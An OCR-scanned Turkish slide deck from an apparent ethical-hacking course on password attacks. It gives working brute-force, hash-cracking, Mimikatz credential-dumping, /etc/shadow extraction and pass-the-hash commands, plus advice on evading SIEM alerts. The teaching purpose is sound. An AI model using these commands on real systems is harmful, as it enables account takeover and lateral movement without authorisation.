Uygulamali Beyaz Sapkah Hacker Egitimi #8

Parola Kirma Saldinlar

Bu dokiiman, alint: vererek kullanilabilir ya da paylasilabilir ancak degistirilemez ve ticari amacla kullanilamaz. Detayl bilgiye
https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr baglantisindan erigebilirsiniz.
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@ Parola ve Sifre Kavramlar

* Parola: Acik metin, gizli tutulmasi gereken karakter dizisidir. Kullanici kendi belirler ve parolayi kullanarak
belirli alanlara giris saglar.

«  Sifre: Parolanin bir algoritma araciligi ile yeni bir formata dontistiirilmis halidir.
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v Hash ve Salt Kavramlari

Hash: Bir verinin sabit sayida bir dzete cevrilmis halidir. Ozetten geri actk metin hale dondiirme algoritmasi

yoktur ve dogrulama amaciyla kullanilir. Orn: MD5

Salt: Veriler hash algoritmalarindan gecirilirken Rainbow Table saldirilan araciligiyla kolayca kirnlamasin diye

verinin sonuna, basina veya ortasinda bir yere yerlestirilen karakter dizisidir.

Prisma -> hash -> 112312311231

Prisma -> salt(sona +++) -> Prisma+++ -> 1823891239812
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v Parola Kirma Saldinlarinda Puf Noktalar

Saldirilarin temelinde her zaman istihbarat vardir.

Yapacagini bir parola kirma saldinsi icin oncesinde kurum veya sahisa karsi bir istihbarat calismasi
yapildiysa ve burada internete sizdirilmis bir parola yakalandiysa bu kesinlikle wordlistlere eklenmelidir.

En dogru saldin, istihbarat esliginde gerceklesecek!

Bastan sona tum adimlari dogru atmak bu yuzden onemli. Sizinti kaynaklarini kontrol etmek gerek.

Paste siteleri

Haveibeenpwned vs.
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v Parola Kirma Saldinlarinda Puf Noktalar

Parola tahmini icin brute force (kaba kuvvet) saldinlan gerceklestirilebilir. Bu saldinlarin dezavantajlan
soyledir:

Yapilan saldiri sonucu kullanicilarin hesaplari kilitlenebilir. Bknz: Lockout Policy

Bu yapilan saldiri sonrasi ag cihazlarinda veya SIEM uzerinde ¢ok fazla alarm uretilebilir. Bu durum
isimize gelmeyecektir.

Bir sisteme sizildiginda oradan parola ozetleri (hash) elde edilebilir. Bu durumda Hash Crack saldinisi
gerceklestirmek gerekir.

0010001001 00001 ARarY
chu 010001100 .t' :
V00100010 0

Genelde localde ve sessiz, sakin bir sureg ile tamamlanir.

Elde edilen hash bilgileri kinldiginda siber saldiri evrimlesir.
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v Parola Kirma Saldinlarinda Puf Noktalar

Bir sisteme sizildiginda ve elde edilen hashler kinldiginda siber saldiri evrimlesir dedik. Neden?
Kurum ici parola politikalari genelde yeterince sikilastiriimis olmuyor.
Bu kinlan parola ile bir Password Spraying Attack gerceklestirildiginde bircok sistemin
parolasinin ayni oldugu gorulebilir.
Boylece elde edilen bir parola araciligi ile birden fazla sisteme sizilabilir.
Domain exploitation konusunu hatirlayin © Belki de domain admine giden yolu elde

etmenize olanak saglayacaktir.
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v Saldin Turleri

Aktif Saldirilar:
Brute Force (Kava Kuvvet) Saldirlari
Password Spraying Saldirilari

Pasif Saldinlar:
Hash Crack Saldinlar

Rainbow Table Saldirilari
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v Wordlist Olusturma

Bir parola kirma saldirisi icerisinde random olusturulacak parola kombinasyonlar yerine tespit
edilen bir formata gore kendinize wordlist olusturabilirsiniz.
Bu formati nasil tespit edebilirsiniz?
Siber istihbarat ©
Ayni kurum veya sirketten birden fazla kisinin parolasi internete sizmig mi?
Sizdiysa aralarinda bir benzerlik var mi?
Ankara8817!
Ankara7625!
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v Wordlist Olusturma

Wordlist olusturulurken genelde crunch aracini kullaniyoruz.
Oldukca kullanish ve esnek, dolayisiyla istediginiz kombinasyonlan uretmenize olanak sagliyor.
Basit kullanim:
crunch 6 7 abc123
6 ve7 karakterden olusan ve iceriginde abc123 karakterlerini barindiran bir wordlist
crunch 6 8 1234567890 -0 numericwordlist.|st

6 ve 8 karakterden olusan ve iceriginde tum rakamlan barindiran bir wordlist
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v Wordlist Olusturma

Peki ya biraz once kesfettigimiz Ankara'li formata gore bir parola listesi olusturmak istesek?
Ankara0000!
Ankara0001!
Ankara0002!
Iste bu noktada crunchin giizel parametrelerinden faydalanabilirsiniz.
crunch 11 11 1234567890 —t Ankara@@@@! —o wordlist —z

-z parametresi ziplemek amaciyla kullanihr
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v Wordlist Olusturma

Karakter setleri ile de bir wordlist olusturabilirsiniz.
Karakter listeleri surada:
/usr/share/rainbowcrack/charset.txt

crunch 7 7 -f /usr/share/rainbowcrack/charset.txt mixalpha -o liste -z
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v Crunch - Uygulama

root@PRISMACSI: ~ e ® O

File Edit View Search Terminal Help

:~# crunch 4 8 abcl23 -o cikti
Crunch will now generate the following amount of data: 17735760 bytes

Crunch will now generate the following number of lines: 2015280

crunch: 100% completed generating output
s~ I
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v Crunch - Uygulama

root@PRISMACSI: ~ e ® O

File Edit View Search Terminal Help
:~# head -n 20 cikti
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v CUPP - Uygulama

CUPP isim, soy isim, nickname, dogum tarihi gibi parametreleri alarak wordlist olusturmaktadir.

# ./cupp3.py -1

cupp.py! # Common

\ # User
\ # Passwords
\ 00 # Profiler

*  Muris Kurgas <jOrgan@remote-exploit.org>

[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

First Name: prisma
Surname: csi
Nickname:

Birthdate (DDMMYYYY):
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v Hydra

Tespit edilen servislere bruteforce saldinlari ypailmak istendiginde hydra oldukca kullanishdir.
Araci komut satin tistiinden veya var olan GUI'si (xHydra) araciligi ile kullanabilirsiniz.

Bir veya birden fazla kullaniciya veya hedefe parola kirma saldirisi gerceklestirebilirsiniz.
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v Hydra - Uygulama

Ornek kullanimlar:
hydra -1 user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

WYPRISMA

SECURITY ANDO INTEI

© All Rights Reserved.



@ xHydra - Uygulama

*  xHydra, Hydra'nin grafik arayuzlu halidir.

|| xHydra [ E X
B quit
Target | passwords Tuning Specific Start
Target
(o) Single Target [127.0.0.1 |
() Target List ‘ |
[ | prefer IPVE
Port 0 v
Protocol |adam6500 v |
Output Options
[ |use ssL | |uUse old 5L [ | Be Verbose
| | sShow Attempts | | Debug
[ | COMPLETE HELP | | service Module Usage Details
hydra -| yourname -p yourpass -t 16 127.0.0.1 adam6500 4
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v Medusa

Komut satin tzerinden kullanilan ve bizim en sik kullandiklanimiz arasinda yer alan bir parola kirma

saldinsi aracidir.
Yine hydra nin ozelikleri icerisinde de bulundugu gibi birden fazla hedefe saldiri yapilabilir ve wordlistler

aracihgiyla bircok protokole parola kirma saldirisi gerceklestirilebilir.
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v Medusa - Uygulama

medusa -h 10.0.1.5 -u "root" -P parolalistesi.txt -M http
medusa -h 10.0.1.5 —U userlistesi.txt —p "secretpass” -M smbnt
medusa -h 10.0.1.5 -u "root" -P parolalistesi.txt -M ftp

medusa -h 10.0.1.5 -u "root" -P parolalistesi.txt -M telnet

Medusa asagidaki tum servisleri desteklemektedir.
AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3,
PostgreSQL, REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, SSHv2,
Subversion (SVN), Telnet, VNC
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v Metasploit

Metasploit icerisinde parola kirma saldirilarina imkan sunan auxiliary modulleri barindirmaktadir.
Ornek olarak smb ye bruteforce saldirisi yapilmak istendiginde asagidaki modiil kullanilabilir.

use auxiliary/scanner/smb/smb_login

root@PRISMACSI: ~ @ ® 0

File Edit View Search Terminal Help
:~# msfconsole

=[ metasploit v4.16.61-de ]
--=[ 1773 exploits - 1011 auxiliary - 307 post 1
]

1

--=[ 538 payloads - 41 encoders - 10 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp
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v Sparta

Sparta basit seviyede zafiyet tarama araci olmasiyla birlikte arayuz tizerinden bruteforce parola

kirma saldirlarina izin veren kullanish bir toldur.

pe SPARTA 1.0.3 (BETA) - untitled - froot/ Boen B3

File Help

Scan Brute I
1 |

IP [127.0.0.1 Port |22 service [EEHNNG_— -

[V Try blank password ¥ Try login as password ™ Loop around users [ Exiton first valid [~ Verbose [~ Additional Options

" Username [root " Username list I Browse |(3' Found usernames
¢ Password password ¢ Password list I Browse |(3' Found passwords Threads |16 'I
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v Patator

Kali'de default olarak kurulu olarak gelmez.
https://github.com/lanjelot/patator

Komut satirindan calismaktadir ve oldukca basit bir kullanimi vardir.

:~# patator ssh_login --help
Patator v0.7 (https://github.com/lanjelot/patator)
Usage: ssh_login <module-options ...> [global-options ...

Examples:
ssh_login host=10.0.0.1 user=root password=FILEO O=passwords.txt -x ignore:mesg='Authentication failed.'

Module options:
host : target host
port : target port [22]
user : usernames to test
password : passwords to test
auth_type : type of password authentication to use [password|keyboard-interactive|auto]
keyfile : file with RSA, DSA or ECDSA private key to test
persistent : use persistent connections [1]0]
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@ Burp Suite

*  Uygulama
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@® @® Burp Suite Community Edition v1.7.35 - Temporary Project

Burp Intruder Repeater Window Help

Web uygulamalarina Burp Suite Intruder kullanilarak bruteforce saldirisi gerceklestirilebilir.

[Target T Proxy TSpider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIerts ]

Target | Positions TPaonads TOptions 1

@ Payload Positions

positions - see help for full details.

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload

Start attack |

Attack type: | Sniper

1)

POST /example?pl=§plval§&p2=§p2val§ HTTP/1.0
Cookie: c=S§cvals§
Content-Length: 17

p3=§Sp3valS§&pé4=§Sp4dvals§

7 _—

k Add §
Clear §
Auto §

| Refresh |

o

T ( < T T Type a search term

B

5 payload positions

Www.prismacsi.com
© All Rights Reserved.
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@ Hash Kirma Saldinlar

*  Hash-Buster

* https://github.com/sOmd3v/Hash-Buster

Online bircok adresten otomatize hash kontrolu

buster —s <hash>

buster —f /root/hash.txt [— j
buster —d /root/Desktop

L
Hash Buster
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https://github.com/s0md3v/Hash-Buster

v Hash Kirma Saldinlar

John-the-ripper
Offline (Cevrimdisi) hash kirma araci olarak tanimlanir.
Oldukga kullanish ve pratiktir.
Bir linux makineye sizdiniz ve hashleri alacaksiniz.
unshadow /etc/passwd /etc/shadow > hashlist
john --wordlist /usr/share/wordlists/rockyou.txt hashlist

cat /root/.john/john.pot
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v Hash Kirma Saldirilan

John-the-ripper bircok formati desteklemektedir.
john --list=formats : formatlar goruntuleyebilirsiniz.
john --format=LM hashfile

john --format=oracle hashfile
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v Hash Kirma Saldinlar

Hashcat yine komut satin ustunden yonetebileceginiz ve size gpu cracking dahil bircok fonksiyon
sunan gelismis bir parola kirma aracidir.
Bircok parametresi mevcut bu yiizden kullanirken manuali okumakta fayda var.
hashcat -h
Ornegin bir md5 ile hashlenmis parolayi kirmak istediginizde:
hashcat -m 0 -a 0 -o passlist hashlist /usr/share/wordlists/rockyou.txt
-m 0 : md5 algoritmasini isaretlemekte

-a 0 : sozluk saldirisi yapmayi isaretlemekte
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& Rainbow Table Ataklar

* Bruteforce ataklar zaman aliyor.
* Daha onceden elimizde hashlenmis bir wordlist varsa?

* parola - hash karsiligi

*parola2 - hash karsihig! et

* parola3 - hash karsiligi

* Saniyeler icerisinde ¢ozuiimlenebilir.

* www.cmd5.org
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http://www.cmd5.org/

@ Hafizadan Parola Elde Etme

Mimikatz ile hafizadan agik metin parola yakalayabilirsiniz.
Bunun icin sistemde yetkili bir session elde etmek gerekiyor.
Mimikatz binaryleri ile veya crackmapexec ile bu isi ¢ozebilirsiniz.

https://github.com/gentilkiwi/mimikatz

mimikatz.exe
privilege::debug
sekurlsa::logonPasswords full

crackmapexec smb 10.0.1.5 -u Administrator -p 'Passwd123!" -M mimikatz
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https://github.com/gentilkiwi/mimikatz

& Pass the Hash Saldirlan

Crackmapexec ile gosterimini yapmistik.

Windows makineden hashdump ile alinan hashleri bir baska suncuya giris icin kullanabilirsiniz.
Hash kirmaniza gerek yok, direk hash i parola olarak kullanabiliyorsunuz.

Metasploit uzerindeki smb_login ile giris denemesi yapabilir, psexec exploiti ile makineye
sizabilirsiniz.

Crackmapexec :

crackmapexec smb 10.0.1.5 -u username -H NTHASH
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Uygulamalar
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WWWw.prismacsi.com
info@prismacsi.com
0 850 303 85 35
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